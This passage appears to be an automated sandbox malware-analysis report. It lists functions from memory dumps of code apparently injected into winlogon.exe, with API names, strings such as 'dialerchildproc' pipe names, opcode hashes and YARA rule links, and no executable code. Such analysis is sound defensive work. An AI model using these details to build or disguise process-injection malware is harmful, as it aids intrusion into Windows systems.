                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
                                                                • String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
                                                                • API String ID: 2171963597-1373409510
                                                                • Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
                                                                • Instruction ID: 27c92a905a2f4f6f1a7d1a88f5f4c691c2a465980edda73e2f7a22435be0af33
                                                                • Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
                                                                • Instruction Fuzzy Hash: 92212F3661479082FB108B65F88875977A5F789BA5F904216EA5D03BB8DF7CC949CF00
                                                                Function 000002D016589944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3427903093.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d016580000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                                                • String ID: csm$csm$csm
                                                                • API String ID: 849930591-393685449
                                                                • Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                                                • Instruction ID: 8d33458c817a64122548c589ceefed1e9e6f3c6a843f5d4004e67bc5e997e060
                                                                • Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                                                • Instruction Fuzzy Hash: 16E170726057808AEB60DFAAD8C839D77B8F755B98F900116EE8D57FA6CB34C991C700
                                                                Function 000002D0165EA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                                                • String ID: csm$csm$csm
                                                                • API String ID: 849930591-393685449
                                                                • Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
                                                                • Instruction ID: 3b43c7ab403b83ca95457f37da0d4b500b38ba5a1a126430ff915fab710d6147
                                                                • Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
                                                                • Instruction Fuzzy Hash: 7BE14C72A047C08AEF60DFB5988839DB7A0F755798F900117EE8D57BA9CB36CA91C740
                                                                Function 000002D0165EF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: AddressFreeLibraryProc
                                                                • String ID: api-ms-$ext-ms-
                                                                • API String ID: 3013587201-537541572
                                                                • Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
                                                                • Instruction ID: d0c3c69c08ddd6f5c27ead1c77a57a672af2ad5f3c132c9258f8044c477055ab
                                                                • Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
                                                                • Instruction Fuzzy Hash: D0410622311A9091FF16CFEAAD88756A395B744BE0FC4412B9D4E877A4EE3ECE458310
                                                                Function 000002D0165E104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: Heap$Process$AllocEnumFreeInfoQueryValue
                                                                • String ID: d
                                                                • API String ID: 3743429067-2564639436
                                                                • Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
                                                                • Instruction ID: 60b4ca63da48bf83ee31c643dec68d0684812f94169e8e12275eb22dcfa7cc50
                                                                • Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
                                                                • Instruction Fuzzy Hash: F4416273614BC4C6EB64CFA1E88879EB7A1F388B99F448116DA8D07768DF39C945CB40
                                                                Function 000002D0165ED068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                • FlsGetValue.KERNEL32(?,?,?,000002D0165EC7DE,?,?,?,?,?,?,?,?,000002D0165ECF9D,?,?,00000001), ref: 000002D0165ED087
                                                                • FlsSetValue.KERNEL32(?,?,?,000002D0165EC7DE,?,?,?,?,?,?,?,?,000002D0165ECF9D,?,?,00000001), ref: 000002D0165ED0A6
                                                                • FlsSetValue.KERNEL32(?,?,?,000002D0165EC7DE,?,?,?,?,?,?,?,?,000002D0165ECF9D,?,?,00000001), ref: 000002D0165ED0CE
                                                                • FlsSetValue.KERNEL32(?,?,?,000002D0165EC7DE,?,?,?,?,?,?,?,?,000002D0165ECF9D,?,?,00000001), ref: 000002D0165ED0DF
                                                                • FlsSetValue.KERNEL32(?,?,?,000002D0165EC7DE,?,?,?,?,?,?,?,?,000002D0165ECF9D,?,?,00000001), ref: 000002D0165ED0F0
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: Value
                                                                • String ID: 1%$Y%
                                                                • API String ID: 3702945584-1395475152
                                                                • Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
                                                                • Instruction ID: 7080bbce82f1be4da0ddcc39a1ebc959a46846a47c0639f49ef077fcb6817628
                                                                • Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
                                                                • Instruction Fuzzy Hash: F51133617042C442FF6857ED5DDD369E2415B447F0FD84327A83E466FAEE2ACE428600
                                                                Function 000002D0165E7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                                                • String ID:
                                                                • API String ID: 190073905-0
                                                                • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                                                • Instruction ID: cc22ab156fd64d921cb8bab48c84aed77748f638e97627413a858d82ffff3ace
                                                                • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                                                • Instruction Fuzzy Hash: 2E819F216007C186FF50ABE5ACC93B9E690EB85784FD4442BEA4D477B6EB3ACE45C700
                                                                Function 000002D0165E9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: Library$Load$AddressErrorFreeLastProc
                                                                • String ID: api-ms-
                                                                • API String ID: 2559590344-2084034818
                                                                • Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
                                                                • Instruction ID: aca1f05cb46fc00515c66d976e56b7ae3e88fb2388c081806b711800b0246c42
                                                                • Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
                                                                • Instruction Fuzzy Hash: 5031B821312BD1D1EF15DBD2AC88755A3A4B748BA0FD909279E1D477B0EF3ACA558310
                                                                Function 000002D0165F3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                                                • String ID: CONOUT$
                                                                • API String ID: 3230265001-3130406586
                                                                • Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
                                                                • Instruction ID: d628bd0090cde46b23efa145587aed2904a5f36c40d9d109057e4cb8b91bb961
                                                                • Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
                                                                • Instruction Fuzzy Hash: 71118F31310BD086E7508BA2EC88719B6A4F788FE5F944266EE5E877B5CF78CC148744
                                                                Function 000002D0165E2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: Heap$Process$AllocFree
                                                                • String ID: dialer
                                                                • API String ID: 756756679-3528709123
                                                                • Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                                                • Instruction ID: a1042e87f8364f6b2e966bad11af8e790b8d99eaa053b685ef812c5dffe2a578
                                                                • Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                                                • Instruction Fuzzy Hash: 6531B522701B9186EB14CF96DD88769B7A0FB44BC0F8881229E4C47B75EF3ACD618700
                                                                Function 000002D0165E14A4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 70memoryCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: Heap$Process$Free
                                                                • String ID: C:\Windows\system32\winlogon.exe
                                                                • API String ID: 3168794593-3603389050
                                                                • Opcode ID: d27b9b8ca154d9eedff1e610dfbacc8608a6d25d7c3fe3b6d17278c798082fda
                                                                • Instruction ID: 7f7260ef79563c5a266f126e1a848f4d5cc61924374436ce50858df01a2f744e
                                                                • Opcode Fuzzy Hash: d27b9b8ca154d9eedff1e610dfbacc8608a6d25d7c3fe3b6d17278c798082fda
                                                                • Instruction Fuzzy Hash: 8621A0AB508AE08AE760DFB59CD9B9D37A1F749B44F894057DB4D83367DE25CC088720
                                                                Function 000002D0165ECFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: Value$ErrorLast
                                                                • String ID:
                                                                • API String ID: 2506987500-0
                                                                • Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
                                                                • Instruction ID: 881857e728745ec88ca4b8388d6fa749b937d482b05cecb59b8676985d1b6840
                                                                • Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
                                                                • Instruction Fuzzy Hash: B7113D212052C482FF64A7F99DDD329E2426B947B0F945727A83E477F6EE6ACE418600
                                                                Function 000002D0165E199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
                                                                • String ID:
                                                                • API String ID: 517849248-0
                                                                • Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
                                                                • Instruction ID: 94470d76e8e99169dc1bd6030e286acf90538daadbbb330fa07aa5c63b58bfdf
                                                                • Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
                                                                • Instruction Fuzzy Hash: BD012931300A9082EB64DBA2A89C799A3A5F788BC5FC84076DE4E43765DF3DCD89C750
                                                                Function 000002D0165E36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
                                                                • String ID:
                                                                • API String ID: 449555515-0
                                                                • Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                                                • Instruction ID: 0ee65fdd732b982381bbf943d3faa4b165bcf9ac086ffcbc2b1acb993f4b5dc0
                                                                • Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                                                • Instruction Fuzzy Hash: 72012975211B80C2EF249BA1EC9C71A73A4BB49B86F94446ADD4D077B5EF3ECA488710
                                                                Function 000002D0165E8FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                                                • String ID: csm$f
                                                                • API String ID: 2395640692-629598281
                                                                • Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
                                                                • Instruction ID: 289176f1ec5211bc532f7d3476c86f990fa8211b4c40f3c47dcc25eee0941410
                                                                • Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
                                                                • Instruction Fuzzy Hash: CB51A43270168086EF18DFA5EC8CB59B7BAF344B88F908526DE5A47758EB76CE41C700
                                                                Function 000002D0165E1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: FinalHandleNamePathlstrlen
                                                                • String ID: \\?\
                                                                • API String ID: 2719912262-4282027825
                                                                • Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
                                                                • Instruction ID: b0a73550e19d607c0733c4eed862a0f106358cff4bd746a1ba228e1ad1f57731
                                                                • Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
                                                                • Instruction Fuzzy Hash: B6F04F2270468192EB708FA1FCC87A9A760F748B89FD44022DA4D479A4DF7DCE8DCB10
                                                                Function 000002D0165E3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: CombinePath
                                                                • String ID: \\.\pipe\
                                                                • API String ID: 3422762182-91387939
                                                                • Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
                                                                • Instruction ID: 9f9f7269bcd04a4d7622e5ff7d9e750e699f4d99e062e085e30b3f0fddd74a17
                                                                • Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
                                                                • Instruction Fuzzy Hash: 50F08C21704BD082EF008BA3BD8C219A260AB48FC0F888172EE4E07B79DF3CC9458710
                                                                Function 000002D0165EBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: AddressFreeHandleLibraryModuleProc
                                                                • String ID: CorExitProcess$mscoree.dll
                                                                • API String ID: 4061214504-1276376045
                                                                • Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
                                                                • Instruction ID: 73b21768389709e2f3859606edec8d020a16b8eaf151ef1aa857b1fe75e1916b
                                                                • Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
                                                                • Instruction Fuzzy Hash: BCF06D61311A9581EF108BB4EC8C36A6361EB88BA1FD4025ADA6E462F4DF2DC9488320
                                                                Function 000002D0165E5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: CurrentThread
                                                                • String ID:
                                                                • API String ID: 2882836952-0
                                                                • Opcode ID: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
                                                                • Instruction ID: 9867a48db4e2f8fc4ca8a19f3b7debced05d252233e4c618cb6bf9eff3b46b8e
                                                                • Opcode Fuzzy Hash: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
                                                                • Instruction Fuzzy Hash: 2F619076519B84C6EB60CB95E88831AB7A0F384794F905116FACD47BB4DB7EC954CF00
                                                                Function 000002D016593504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3427903093.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d016580000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: _set_statfp
                                                                • String ID:
                                                                • API String ID: 1156100317-0
                                                                • Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                                                • Instruction ID: d75896c64213f2a1704ddb0ef00b701f646facd3cf9c70f6f098307262c4cee0
                                                                • Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                                                • Instruction Fuzzy Hash: 28117326A14ED1D2FB6415E8ECDD36916816B5C37CFC8A63AA96F466F7CA28CC414100
                                                                Function 000002D0165F4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: _set_statfp
                                                                • String ID:
                                                                • API String ID: 1156100317-0
                                                                • Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                                                • Instruction ID: 8658335e92f09a8eeac19449c432923065bddb668eaed47daa1299e6c01b2058
                                                                • Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                                                • Instruction Fuzzy Hash: 4211A322A52BD411F76415E8DCDD76629406B783B8FC80AB6A97E177F7CB24CC554240
                                                                Function 000002D01658F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3427903093.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d016580000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: _invalid_parameter_noinfo
                                                                • String ID: Tuesday$Wednesday$or copy constructor iterator'
                                                                • API String ID: 3215553584-4202648911
                                                                • Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                                                • Instruction ID: 7926be692a7c3970f031dc47edbaea785ae167cdd99d474087a09ccf8e4f8d1a
                                                                • Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                                                • Instruction Fuzzy Hash: 4F617D666006C086FB659BEEEDCC32A6AA9A7897C4FD44517CB4F17FB5DB38CC418210
                                                                Function 000002D0165EAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: CallEncodePointerTranslator
                                                                • String ID: MOC$RCC
                                                                • API String ID: 3544855599-2084237596
                                                                • Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                                                • Instruction ID: 804a080e077f51fda726543e3350a461b6da8e690454341ee308e9e8ff120439
                                                                • Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                                                • Instruction Fuzzy Hash: 8E615973A00B848AEB20DFA5D88439DB7B0F344B88F444216EF4D17BA8DB39CA95C700
                                                                Function 000002D01658A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3427903093.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d016580000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                                                • String ID: csm$csm
                                                                • API String ID: 3896166516-3733052814
                                                                • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                                                • Instruction ID: ef81340c4c69f026b87580c2449cc675fc22f141087421cbe63eea405b38429c
                                                                • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                                                • Instruction Fuzzy Hash: 6E516B321006C0CAEB748BA7998835877A8F355B94F988217DE9D87FE5CB38DC91C700
                                                                Function 000002D0165EAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                                                • String ID: csm$csm
                                                                • API String ID: 3896166516-3733052814
                                                                • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                                                • Instruction ID: ad9e7e9185666ca75af795e8e0b1f6e55ca99cc2d9033536fe9523c4600d1b2c
                                                                • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                                                • Instruction Fuzzy Hash: 9D517C761006C08AEF648BB599C8359B7A0F354B85F984217EE9D47BE5CB39DE90CB00
                                                                Function 000002D016588405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3427903093.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d016580000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: CurrentImageNonwritable__except_validate_context_record
                                                                • String ID: csm$f
                                                                • API String ID: 3242871069-629598281
                                                                • Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                                                • Instruction ID: ebd46bf5b9efac163910b3874f46543552e5e73946441d757bd614891983f18b
                                                                • Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                                                • Instruction Fuzzy Hash: 3251CE327017809AEB14DF96F888B193799F354B98F968126DA5F43FA8EB34DD41C704
                                                                Function 000002D0165883E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3427903093.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d016580000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: CurrentImageNonwritable__except_validate_context_record
                                                                • String ID: csm$f
                                                                • API String ID: 3242871069-629598281
                                                                • Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                                                • Instruction ID: 7c97df61a7296e2470a292fba203d579020853e1c807cf3699b4a2e3da698be7
                                                                • Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                                                • Instruction Fuzzy Hash: ED316632201780D6E714DB92EC88B1977A8F780B98F968016AE9F07BA8DB38CD41C704
                                                                Function 000002D0165F2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
